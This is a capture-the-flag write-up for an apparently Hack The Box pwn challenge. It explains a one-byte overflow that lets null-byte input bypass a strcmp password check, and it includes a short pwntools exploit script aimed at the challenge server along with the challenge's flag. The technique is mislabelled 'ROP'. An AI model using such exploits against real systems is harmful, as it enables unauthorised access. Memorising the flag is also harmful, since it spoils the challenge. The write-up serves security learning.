Writing on the Wall
- Difficulty: Very Easy
- Technique:
ROP
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?
Approach
Check protections
Command:
$ checksec --file=writing_on_the_wall
Output:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Disassemble binary
main function's pseudocode:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
char s2[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
*(_QWORD *)s2 = 0x2073736170743377LL;
read(0, buf, 7uLL);
if ( !strcmp(buf, s2) )
open_door();
else
error("You activated the alarm! Troops are coming your way, RUN!\n");
return 0;
}
Buffer overflow vulnerability detected.
- We note that the buffer
bufis initialised with a length of6.- However, the
readfunction reads in input from thestdinwith size of7.- With this, we can overflow the
s2with one byte frombuf.
Exploit
- The vulnerability lies in the use of the
strcmpfunction, where it terminates upon reaching aNULLbyte. - We can exploit this by feeling our buffer and the overflow byte with
NULLbytes. - The
strcmpfunction will perform string comparison by iterating through boths2andbuf. - Since the first byte of both
s2andbufareNULLbyte, thestrcmpfunction will terminate upon iterating through the first byte, returning0(certifying that both the string inbufands2are equal). - Thus, allowing us to obtain the flag for this challenge.
Remarks: Pretty simple challenge which exploits the
strcmpfunction.
Script
from pwn import *
r = remote('83.136.248.36', 36704)
payload = b'\x00' # first byte in 'buf'
payload += b'\x00'*5 # to pad 'buf' with random characters
payload += b'\x00' # first byte in 's2'
r.sendline(payload)
r.interactive()
Flag
HTB{3v3ryth1ng_15_r34d4bl3}